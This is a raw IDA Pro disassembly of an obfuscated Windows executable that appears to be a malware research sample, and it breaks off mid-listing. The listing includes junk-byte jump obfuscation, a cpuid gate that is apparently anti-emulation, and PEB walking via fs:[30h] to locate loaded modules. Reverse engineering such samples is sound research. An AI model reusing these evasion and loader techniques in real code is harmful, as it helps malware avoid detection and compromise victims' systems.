; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D782D4B6910085C646F54096BE45A1A0 .686p .mmx .model flat ; =========================================================================== ; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; File Name : u:\work\d782d4b6910085c646f54096be45a1a0_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00005A00 ( 23040.) ; Offset to raw data for section: 00000400 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing jmp loc_40100E ; --------------------------------------------------------------------------- db 46h, 7, 34h dd 0A0A3D25Dh ; --------------------------------------------------------------------------- pop ecx push ds loc_40100E: ; CODE XREF: .text:00401000j jmp short loc_401017 ; --------------------------------------------------------------------------- dd 2A15CCFFh db 1Bh, 0B8h, 91h ; --------------------------------------------------------------------------- loc_401017: ; CODE XREF: .text:loc_40100Ej push edx jmp loc_40101F ; --------------------------------------------------------------------------- db 82h, 93h ; --------------------------------------------------------------------------- loc_40101F: ; CODE XREF: .text:00401018j mov edx, 43C75B64h jmp loc_401031 ; --------------------------------------------------------------------------- db 0D0h, 0C9h, 0CEh dd 0DA85FCEFh db 0Bh ; --------------------------------------------------------------------------- loc_401031: ; CODE XREF: .text:00401024j sub eax, edx jmp short loc_401045 ; --------------------------------------------------------------------------- db 0E8h, 1, 0A6h dd 323D94E7h, 7E390083h, 8AF52CDFh ; --------------------------------------------------------------------------- sti loc_401045: ; CODE XREF: .text:00401033j pop edx push edi push 43C75B64h mov edi, esp jmp short loc_401060 ; --------------------------------------------------------------------------- dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h ; --------------------------------------------------------------------------- loc_401060: ; CODE XREF: .text:0040104Ej add eax, [edi] jmp loc_40106B ; --------------------------------------------------------------------------- db 0F4h db 1Dh, 92h, 63h ; --------------------------------------------------------------------------- loc_40106B: ; CODE XREF: .text:00401062j add esp, 4 jmp short loc_40107E ; --------------------------------------------------------------------------- db 60h dd 8CBFDE19h, 78DBEAD5h db 51h, 0B6h ; --------------------------------------------------------------------------- loc_40107E: ; CODE XREF: .text:00401071j pop edi jmp short loc_4010B0 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_40108C: ; CODE XREF: .text:loc_4010B0j jmp short loc_4010C0 ; --------------------------------------------------------------------------- dw 0FD54h dd 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h ; --------------------------------------------------------------------------- loc_4010B0: ; CODE XREF: .text:0040107Fj jmp short loc_40108C ; --------------------------------------------------------------------------- push edx and esp, [eax] loc_4010B5: ; CODE XREF: .text:loc_4010C0j jmp short loc_4010E7 ; --------------------------------------------------------------------------- fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl loc_4010C0: ; CODE XREF: .text:loc_40108Cj jmp short loc_4010B5 ; --------------------------------------------------------------------------- dw 7776h dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h dd 5FFEB980h, 7B0A75ACh, 57D6F198h db 44h, 2Dh, 62h ; --------------------------------------------------------------------------- loc_4010E7: ; CODE XREF: .text:loc_4010B5j push eax jmp short loc_401115 ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_4010ED: ; CODE XREF: .text:loc_401115j jmp short loc_401125 ; --------------------------------------------------------------------------- db 0BAh dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- daa loc_401115: ; CODE XREF: .text:004010E8j jmp short loc_4010ED ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- jge short loc_40118C retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h db 0B1h ; --------------------------------------------------------------------------- loc_401125: ; CODE XREF: .text:loc_4010EDj mov eax, edx jmp short loc_401157 ; --------------------------------------------------------------------------- db 6Eh, 0Fh, 9Ch dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: .text:loc_401157j ; .text:0040115Fj jmp short loc_40116F ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh db 0E7h, 94h, 3Dh ; --------------------------------------------------------------------------- loc_401157: ; CODE XREF: .text:00401127j jmp short loc_401140 ; --------------------------------------------------------------------------- db 32h ; --------------------------------------------------------------------------- loc_40115A: ; CODE XREF: .text:loc_40116Fj jmp short loc_401187 ; --------------------------------------------------------------------------- add dword ptr [eax], 39h jle short loc_401140 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] loc_40116F: ; CODE XREF: .text:loc_401140j jmp short loc_40115A ; --------------------------------------------------------------------------- db 2Eh, 0CFh, 5Ch db 65h, 3Ah, 0EBh ; --------------------------------------------------------------------------- loc_401177: ; CODE XREF: .text:loc_401187j jmp short loc_4011A2 ; --------------------------------------------------------------------------- db 48h, 0E1h, 6 dd 921DF4C7h, 0DE196063h db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_401187: ; CODE XREF: .text:loc_40115Aj jmp short loc_401177 ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- loc_40118C: ; CODE XREF: .text:00401118j push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h db 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_4011A2: ; CODE XREF: .text:loc_401177j pop eax jmp short loc_4011D0 ; --------------------------------------------------------------------------- db 4Ah, 0BBh, 0D8h ; --------------------------------------------------------------------------- loc_4011A8: ; CODE XREF: .text:loc_4011D0j jmp short loc_4011E3 ; --------------------------------------------------------------------------- dw 1631h dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h dd 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h ; --------------------------------------------------------------------------- loc_4011D0: ; CODE XREF: .text:004011A3j jmp short loc_4011A8 ; --------------------------------------------------------------------------- adc edx, [eax+49h] loc_4011D5: ; CODE XREF: .text:loc_4011E3j jmp short loc_401206 ; --------------------------------------------------------------------------- db 4Eh dd 5A057C6Fh, 2681688Bh db 67h, 14h, 0BDh ; --------------------------------------------------------------------------- loc_4011E3: ; CODE XREF: .text:loc_4011A8j jmp short loc_4011D5 ; --------------------------------------------------------------------------- db 0B2h, 3, 80h db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_4011EA: ; CODE XREF: .text:loc_401206j jmp short loc_401219 ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh dd 8661C86Bh db 47h, 74h ; --------------------------------------------------------------------------- loc_401206: ; CODE XREF: .text:loc_4011D5j jmp short loc_4011EA ; --------------------------------------------------------------------------- dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h db 0Dh ; --------------------------------------------------------------------------- loc_401219: ; CODE XREF: .text:loc_4011EAj mov eax, 80000000h push ecx push esi cmp ah, ch cld cld pop esi pop ecx cpuid jmp short loc_401238 ; --------------------------------------------------------------------------- lds ebx, [edx] dec ebx sub [ecx-1Ah], al daa loc_401231: ; CODE XREF: .text:loc_401238j jmp short loc_40125F ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- jge short loc_4012A8 retn ; --------------------------------------------------------------------------- inc eax loc_401238: ; CODE XREF: .text:00401228j jmp short loc_401231 ; --------------------------------------------------------------------------- dw 0BE79h dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh dd 4621882Bh, 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_40125F: ; CODE XREF: .text:loc_401231j cmp eax, 665B5001h jnz loc_401302 push esi push ecx not esi cld cld pop ecx pop esi cmp edx, 7A7000h jnz loc_401302 push edx push eax cmp al, 0CEh test ecx, esp test ecx, ecx dec eax cld pop eax pop edx retn ; --------------------------------------------------------------------------- jmp short loc_4012BC ; --------------------------------------------------------------------------- db 0EFh, 0FCh, 85h ; --------------------------------------------------------------------------- loc_401290: ; CODE XREF: .text:loc_4012BCj jmp short loc_4012CF ; --------------------------------------------------------------------------- dw 0BDAh dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h ; --------------------------------------------------------------------------- loc_4012A8: ; CODE XREF: .text:00401234j les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- dd 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- loc_4012BC: ; CODE XREF: .text:0040128Bj jmp short loc_401290 ; --------------------------------------------------------------------------- dw 1960h dd 0D58CBFDEh db 0EAh ; --------------------------------------------------------------------------- loc_4012C5: ; CODE XREF: .text:loc_4012CFj jmp short loc_4012F2 ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx loc_4012CF: ; CODE XREF: .text:loc_401290j jmp short loc_4012C5 ; --------------------------------------------------------------------------- push ebx loc_4012D2: ; CODE XREF: .text:loc_4012F2j jmp short loc_401302 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h db 84h, 6Dh ; --------------------------------------------------------------------------- loc_4012F2: ; CODE XREF: .text:loc_4012C5j jmp short loc_4012D2 ; --------------------------------------------------------------------------- dd 69F033A2h, 251C8FEEh, 0A108ABFAh db 0C6h, 87h ; --------------------------------------------------------------------------- loc_401302: ; CODE XREF: .text:00401264j ; .text:00401278j ... jmp loc_40395F ; --------------------------------------------------------------------------- jmp short loc_401335 ; --------------------------------------------------------------------------- fstp dword ptr [esi-556AB381h] wait loc_401310: ; CODE XREF: .text:loc_401335j jmp short near ptr sub_401346 ; --------------------------------------------------------------------------- dw 1138h dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc loc_401335: ; CODE XREF: .text:00401307j jmp short loc_401310 ; --------------------------------------------------------------------------- db 57h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh db 0C8h, 61h ; =============== S U B R O U T I N E ======================================= sub_401346 proc far ; CODE XREF: .text:loc_401310j ; .text:0040397Cp ; FUNCTION CHUNK AT 0040164A SIZE 0000000D BYTES xor eax, eax push edi push eax nop inc eax mov ax, 490Bh cld pop eax pop edi mov eax, fs:[eax+30h] jmp short loc_401386 ; --------------------------------------------------------------------------- dw 0E0E3h ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h loc_401361: ; CODE XREF: sub_401346:loc_401386j jmp short loc_401397 ; --------------------------------------------------------------------------- db 6Ah dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh dd 727DD427h, 0BE7940C3h, 0CA356C1Fh db 3Bh, 58h ; --------------------------------------------------------------------------- loc_401386: ; CODE XREF: sub_401346+12j jmp short loc_401361 ; --------------------------------------------------------------------------- mov cl, 96h pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_4013C2 loc_401397: ; CODE XREF: sub_401346:loc_401361j test eax, eax js loc_40157F jmp short loc_4013D1 ; --------------------------------------------------------------------------- mov al, ds:0CCFF1E59h loc_4013A6: ; CODE XREF: sub_401346+7Fj adc eax, 91B81B2Ah div bh db 64h int 82h loc_4013B0: ; CODE XREF: sub_401346:loc_4013D1j jmp short loc_4013E1 ; --------------------------------------------------------------------------- dw 0D093h dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h db 3Dh, 32h ; --------------------------------------------------------------------------- loc_4013C2: ; CODE XREF: sub_401346+4Fj add dword ptr [eax], 39h jle short loc_4013A6 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- lodsd loc_4013D1: ; CODE XREF: sub_401346+59j jmp short loc_4013B0 ; --------------------------------------------------------------------------- db 0E2h db 73h ; --------------------------------------------------------------------------- loc_4013D5: ; CODE XREF: sub_401346:loc_4013E1j jmp short loc_401404 ; --------------------------------------------------------------------------- db 30h dd 5CCF2EA9h, 48EB3A65h db 0E1h ; --------------------------------------------------------------------------- loc_4013E1: ; CODE XREF: sub_401346:loc_4013B0j jmp short loc_4013D5 ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh loc_4013EA: ; CODE XREF: sub_401346:loc_401404j jmp short loc_401417 ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_401446 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h ; --------------------------------------------------------------------------- loc_401404: ; CODE XREF: sub_401346:loc_4013D5j jmp short loc_4013EA ; --------------------------------------------------------------------------- dw 66C1h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh db 0BBh, 0D8h, 31h ; --------------------------------------------------------------------------- loc_401417: ; CODE XREF: sub_401346:loc_4013EAj mov eax, [eax+0Ch] push ebx loc_40141B: ; CODE XREF: sub_401346+13Bj push esi lea ebx, ds:80A91Ah push ebp pop esi mov si, 499Fh mov ebx, esi rcl ebx, 0F5h mov esi, esi cld pop esi pop ebx mov esi, [eax+1Ch] push edx push ebx cmp ebx, 808E5Ah neg ebx xchg ebx, ebx inc ebx cld pop ebx pop edx lodsd loc_401446: ; CODE XREF: sub_401346+ADj jmp short loc_401473 ; --------------------------------------------------------------------------- sbb al, 25h cli loc_40144B: ; CODE XREF: sub_401346:loc_401473j jmp short loc_401486 ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh, 81688B5Ah db 26h, 67h, 14h ; --------------------------------------------------------------------------- loc_401473: ; CODE XREF: sub_401346:loc_401446j jmp short loc_40144B ; --------------------------------------------------------------------------- db 0BDh, 0B2h, 3 ; --------------------------------------------------------------------------- loc_401478: ; CODE XREF: sub_401346:loc_401486j jmp short loc_4014A9 ; --------------------------------------------------------------------------- cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short loc_40141B icebp setalc push edi loc_401486: ; CODE XREF: sub_401346:loc_40144Bj jmp short loc_401478 ; --------------------------------------------------------------------------- dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h ; --------------------------------------------------------------------------- movsb loc_4014A9: ; CODE XREF: sub_401346:loc_401478j mov esi, [eax+8] jmp short loc_4014D8 ; --------------------------------------------------------------------------- lds ebx, [edx] dec ebx sub [ecx-1Ah], al daa loc_4014B5: ; CODE XREF: sub_401346:loc_4014D8j jmp short loc_4014E9 ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- jge short loc_40152C retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h dd 882B7AA5h, 34074621h ; --------------------------------------------------------------------------- loc_4014D8: ; CODE XREF: sub_401346+166j jmp short loc_4014B5 ; --------------------------------------------------------------------------- loc_4014DA: ; CODE XREF: sub_401346:loc_4014E9j jmp short locret_401508 ; --------------------------------------------------------------------------- pop ebp shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger adc eax, 91B81B2Ah loc_4014E9: ; CODE XREF: sub_401346:loc_4014B5j jmp short loc_4014DA ; --------------------------------------------------------------------------- db 0F6h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h dd 7E390083h, 8AF52CDFh ; --------------------------------------------------------------------------- locret_401508: ; CODE XREF: sub_401346:loc_4014DAj retn ; --------------------------------------------------------------------------- jmp short loc_401536 ; --------------------------------------------------------------------------- db 0E2h dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h db 63h, 60h ; --------------------------------------------------------------------------- loc_40151E: ; CODE XREF: sub_401346:loc_401536j jmp short loc_401549 ; --------------------------------------------------------------------------- dd 8CBFDE19h, 78DBEAD5h, 24B7B651h ; --------------------------------------------------------------------------- loc_40152C: ; CODE XREF: sub_401346+172j lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx loc_401536: ; CODE XREF: sub_401346+1C3j jmp short loc_40151E ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h loc_40153B: ; CODE XREF: sub_401346:loc_401549j jmp short loc_40156C ; --------------------------------------------------------------------------- db 66h, 0A7h, 54h dd 0C043F2FDh, 0EC9F3EF9h db 0B5h ; --------------------------------------------------------------------------- loc_401549: ; CODE XREF: sub_401346:loc_40151Ej jmp short loc_40153B ; --------------------------------------------------------------------------- db 4Ah dd 1631D8BBh ; --------------------------------------------------------------------------- loc_401550: ; CODE XREF: sub_401346:loc_40156Cj jmp short loc_40157F ; --------------------------------------------------------------------------- dw 8497h dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h, 202352DDh dd 4C7F9ED9h ; --------------------------------------------------------------------------- loc_40156C: ; CODE XREF: sub_401346:loc_40153Bj jmp short loc_401550 ; --------------------------------------------------------------------------- dw 0AA95h dd 7611389Bh, 24DE477h, 4E495013h db 6Fh, 7Ch, 5 ; --------------------------------------------------------------------------- loc_40157F: ; CODE XREF: sub_401346+53j ; sub_401346:loc_401550j mov eax, [eax+34h] push edx push ecx mov edx, edi inc edx cld pop ecx pop edx add eax, 7Ch jmp short loc_4015B8 ; --------------------------------------------------------------------------- db 80h db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_401592: ; CODE XREF: sub_401346:loc_4015B8j jmp short loc_4015CB ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- loc_4015B8: ; CODE XREF: sub_401346+247j jmp short loc_401592 ; --------------------------------------------------------------------------- pop ebx clc sal dword ptr [esi], 1 aaa loc_4015BF: ; CODE XREF: sub_401346:loc_4015CBj jmp short loc_4015EE ; --------------------------------------------------------------------------- movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_4015CB: ; CODE XREF: sub_401346:loc_401592j jmp short loc_4015BF ; --------------------------------------------------------------------------- db 1Ah, 4Bh, 28h dd 0D427E641h ; --------------------------------------------------------------------------- loc_4015D4: ; CODE XREF: sub_401346:loc_4015EEj jmp short loc_401603 ; --------------------------------------------------------------------------- jge short loc_40164A retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h db 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_4015EE: ; CODE XREF: sub_401346:loc_4015BFj jmp short loc_4015D4 ; --------------------------------------------------------------------------- dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h, 2Ah, 1Bh ; --------------------------------------------------------------------------- loc_401603: ; CODE XREF: sub_401346:loc_4015D4j mov eax, [eax+3Ch] push ecx push edx cmp al, 0E2h xor ecx, edx neg ecx lea ecx, ds:80905Ah neg edx inc ecx cld pop edx pop ecx mov esi, eax push eax push ecx lea ecx, ds:80E05Ah mov eax, esp xchg eax, ecx mov ecx, ecx xor ecx, esp dec ecx cld pop ecx pop eax retn sub_401346 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short loc_40165F ; --------------------------------------------------------------------------- db 0CEh dd 0DA85FCEFh ; --------------------------------------------------------------------------- or ebp, eax loc_40163A: ; CODE XREF: .text:loc_40165Fj jmp short loc_40166F ; --------------------------------------------------------------------------- dd 94E7A601h, 83323Dh, 2CDF7E39h db 0F5h, 8Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_401346 loc_40164A: ; CODE XREF: sub_401346+290j sti sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; END OF FUNCTION CHUNK FOR sub_401346 ; --------------------------------------------------------------------------- db 5Ch dd 48EB3A65h db 0E1h, 6, 0C7h ; --------------------------------------------------------------------------- loc_40165F: ; CODE XREF: .text:00401631j jmp short loc_40163A ; --------------------------------------------------------------------------- db 0F4h, 1Dh, 92h db 63h, 60h, 19h ; --------------------------------------------------------------------------- loc_401667: ; CODE XREF: .text:loc_40166Fj jmp short near ptr sub_401692 ; --------------------------------------------------------------------------- fidivr word ptr [edi-24152A74h] loc_40166F: ; CODE XREF: .text:loc_40163Aj jmp short loc_401667 ; --------------------------------------------------------------------------- js short near ptr byte_4016C4 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh db 0BBh, 0D8h ; =============== S U B R O U T I N E ======================================= sub_401692 proc far ; CODE XREF: .text:loc_401667j ; sub_401692+A05p ... var_18 = dword ptr -18h push ebp jmp short loc_4016BE ; --------------------------------------------------------------------------- db 0F0h, 69h, 0EEh dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h ; --------------------------------------------------------------------------- loc_4016A8: ; CODE XREF: sub_401692:loc_4016BEj jmp short loc_4016D9 ; --------------------------------------------------------------------------- dw 4C7Fh dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h db 5, 5Ah ; --------------------------------------------------------------------------- loc_4016BE: ; CODE XREF: sub_401692+1j jmp short loc_4016A8 ; --------------------------------------------------------------------------- dd 2681688Bh byte_4016C4 db 67h ; CODE XREF: .text:00401671j ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401692:loc_4016D9j jmp short loc_4016F4 ; --------------------------------------------------------------------------- db 14h dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h db 2Dh ; --------------------------------------------------------------------------- loc_4016D9: ; CODE XREF: sub_401692:loc_4016A8j jmp short loc_4016C5 ; --------------------------------------------------------------------------- db 62h dd 0AE29B0F3h db 4Fh, 0DCh ; --------------------------------------------------------------------------- loc_4016E2: ; CODE XREF: sub_401692:loc_4016F4j jmp short loc_40170F ; --------------------------------------------------------------------------- dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h ; --------------------------------------------------------------------------- loc_4016F4: ; CODE XREF: sub_401692:loc_4016C5j jmp short loc_4016E2 ; --------------------------------------------------------------------------- dw 6A55h dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- daa aam 7Dh loc_40170F: ; CODE XREF: sub_401692:loc_4016E2j mov ebp, esp push ecx push esi mov ecx, 82999Ah xor esi, edx mov esi, 80DE1Ah mov ecx, 8098DAh rcl esi, 98h mov ecx, edx clc cld pop esi pop ecx add esp, 0FFFFFFFCh push ebx push eax cmp esi, edx inc ebx cld pop eax pop ebx push ebx push ebx push ecx lea ebx, ds:80921Ah dec ecx cld pop ecx pop ebx push esi jmp short loc_401774 ; --------------------------------------------------------------------------- dd 0B322ED04h db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- loc_40174F: ; CODE XREF: sub_401692:loc_401774j jmp short loc_401784 ; --------------------------------------------------------------------------- db 0Fh, 9Ch, 0A5h dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh ; --------------------------------------------------------------------------- loc_401774: ; CODE XREF: sub_401692+B4j jmp short loc_40174F ; --------------------------------------------------------------------------- dw 0BDAh dd 0E7A601E8h ; --------------------------------------------------------------------------- loc_40177C: ; CODE XREF: sub_401692:loc_401784j jmp short loc_4017A7 ; --------------------------------------------------------------------------- xchg eax, esp cmp eax, 39008332h loc_401784: ; CODE XREF: sub_401692:loc_40174Fj jmp short loc_40177C ; --------------------------------------------------------------------------- dw 0DF7Eh db 2Ch ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: sub_401692:loc_4017A7j jmp short loc_4017BB ; --------------------------------------------------------------------------- db 0F5h dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah dd 1DF4C706h db 92h, 63h, 60h ; --------------------------------------------------------------------------- loc_4017A7: ; CODE XREF: sub_401692:loc_40177Cj jmp short loc_401789 ; --------------------------------------------------------------------------- db 19h, 0DEh, 0BFh dd 0DBEAD58Ch, 0B7B65178h, 53428D24h db 90h db 89h, 8Eh ; --------------------------------------------------------------------------- loc_4017BB: ; CODE XREF: sub_401692:loc_401789j push edi jmp short loc_4017ED ; --------------------------------------------------------------------------- dw 0CB9Ah db 0A8h ; --------------------------------------------------------------------------- loc_4017C1: ; CODE XREF: sub_401692:loc_4017EDj jmp short loc_401800 ; --------------------------------------------------------------------------- db 0C1h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h ; --------------------------------------------------------------------------- sahf loc_4017ED: ; CODE XREF: sub_401692+12Aj jmp short loc_4017C1 ; --------------------------------------------------------------------------- db 7Fh dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- loc_401800: ; CODE XREF: sub_401692:loc_4017C1j mov ebx, [ebp+8] jmp short loc_401831 ; --------------------------------------------------------------------------- db 26h, 67h, 14h dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh dd 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- loc_40182C: ; CODE XREF: sub_401692:loc_401831j jmp short loc_401858 ; --------------------------------------------------------------------------- cdq pop esi aas loc_401831: ; CODE XREF: sub_401692+171j jmp short loc_40182C ; --------------------------------------------------------------------------- or al, 55h loc_401835: ; CODE XREF: sub_401692:loc_401858j jmp short loc_401868 ; --------------------------------------------------------------------------- db 6Ah dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh dd 727DD427h, 0BE7940C3h, 0CA356C1Fh ; --------------------------------------------------------------------------- loc_401858: ; CODE XREF: sub_401692:loc_40182Cj jmp short loc_401835 ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf loc_401868: ; CODE XREF: sub_401692:loc_401835j mov ecx, ebx push esi push ecx mov ecx, 80895Ah neg ecx repne xchg ecx, ecx inc ecx cld pop ecx pop esi add ebx, [ebx+3Ch] jmp short loc_4018AA ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- pop ecx push ds loc_401882: ; CODE XREF: sub_401692:loc_4018AAj jmp short loc_4018BD ; --------------------------------------------------------------------------- dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh dd 0A601E80Bh, 323D94E7h, 7E390083h, 8AF52CDFh db 0FBh, 18h ; --------------------------------------------------------------------------- loc_4018AA: ; CODE XREF: sub_401692+1EBj jmp short loc_401882 ; --------------------------------------------------------------------------- jno short loc_401904 xlat loc_4018AF: ; CODE XREF: sub_401692:loc_4018BDj jmp short loc_4018DD ; --------------------------------------------------------------------------- db 0C4h, 0ADh, 0E2h ; --------------------------------------------------------------------------- jnb short loc_4018E6 test eax, 655CCF2Eh cmp ch, bl loc_4018BD: ; CODE XREF: sub_401692:loc_401882j jmp short loc_4018AF ; --------------------------------------------------------------------------- dec eax loc_4018C0: ; CODE XREF: sub_401692:loc_4018DDj jmp short loc_4018ED ; --------------------------------------------------------------------------- dw 6E1h dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h dd 8E899053h ; --------------------------------------------------------------------------- scasd loc_4018DD: ; CODE XREF: sub_401692:loc_4018AFj jmp short loc_4018C0 ; --------------------------------------------------------------------------- db 0BCh dd 0A8CB9A45h db 0C1h, 66h ; --------------------------------------------------------------------------- loc_4018E6: ; CODE XREF: sub_401692+222j cmpsd push esp std repne inc ebx ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- stc loc_4018ED: ; CODE XREF: 